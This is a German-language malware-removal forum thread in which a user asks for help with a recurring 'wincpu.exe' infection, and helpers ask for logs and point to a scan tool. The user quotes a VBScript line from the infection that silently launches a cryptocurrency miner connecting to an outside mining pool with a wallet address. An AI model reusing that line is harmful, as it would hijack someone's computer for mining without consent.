![]() |
antivir findet wincpu.exe Hallo liebes Forum, mein Virenscanner findet in letzter Zeit einen Virus. Der Pfad lautet C/Benutzer/Name/AppData/Local//Temp/64. Im Ordner 64 befinden sich drei .dll Dateien und zwei .vbs Dateien, die ich ab jetzt immer mit dem Editor geöffnet werden, da sich sonst immer die .exe geöffnet hat und sie viel Arbeitsspreicher gefressen hat. In der Datei steht folgendes: CreateObject("Wscript.Shell").Run "wincpu.exe --url stratum+tcp://mine.coinshift.com:3333 --userpass=16LMjig5nMeZBiwUAYaHSXzCcTT2ARPgB2.cpu0:x0 --threads=2",0,False Es bringt nichts diese Dateien zu löschen, da sie sich wiederherstellen. Die Logfiles sind lang, also habe ich sie verpackt hochgeladen. Ich habe gerade gelesen, dass der Zugriff des Trojaners ein Mal erlaubt wurde. Heißt das, ich muss den PC neu formatieren, da der Virus sich evtl. weiterverbreitet hat? |
Hi, Logs bitte immer in den Thread posten. Zur Not aufteilen und mehrere Posts nutzen. ![]() Posten in CODE-Tags Die Logfiles anzuhängen oder sogar vorher in ein ZIP, RAR, 7Z-Archive zu packen erschwert mir massiv die Arbeit, es sei denn natürlich die Datei wäre ansonsten zu gross für das Forum. Um die Logfiles in eine CODE-Box zu stellen gehe so vor:
|
Logs Code: Exportierte Ereignisse: |
hi, Bitte lade dir die passende Version von Farbar's Recovery Scan Tool auf deinen Desktop: ![]() (Wenn du nicht sicher bist: Lade beide Versionen oder unter Start > Computer (Rechtsklick) > Eigenschaften nachschauen)
|
Alle Zeitangaben in WEZ +1. Es ist jetzt 23:06 Uhr. |
Copyright ©2000-2025, Trojaner-Board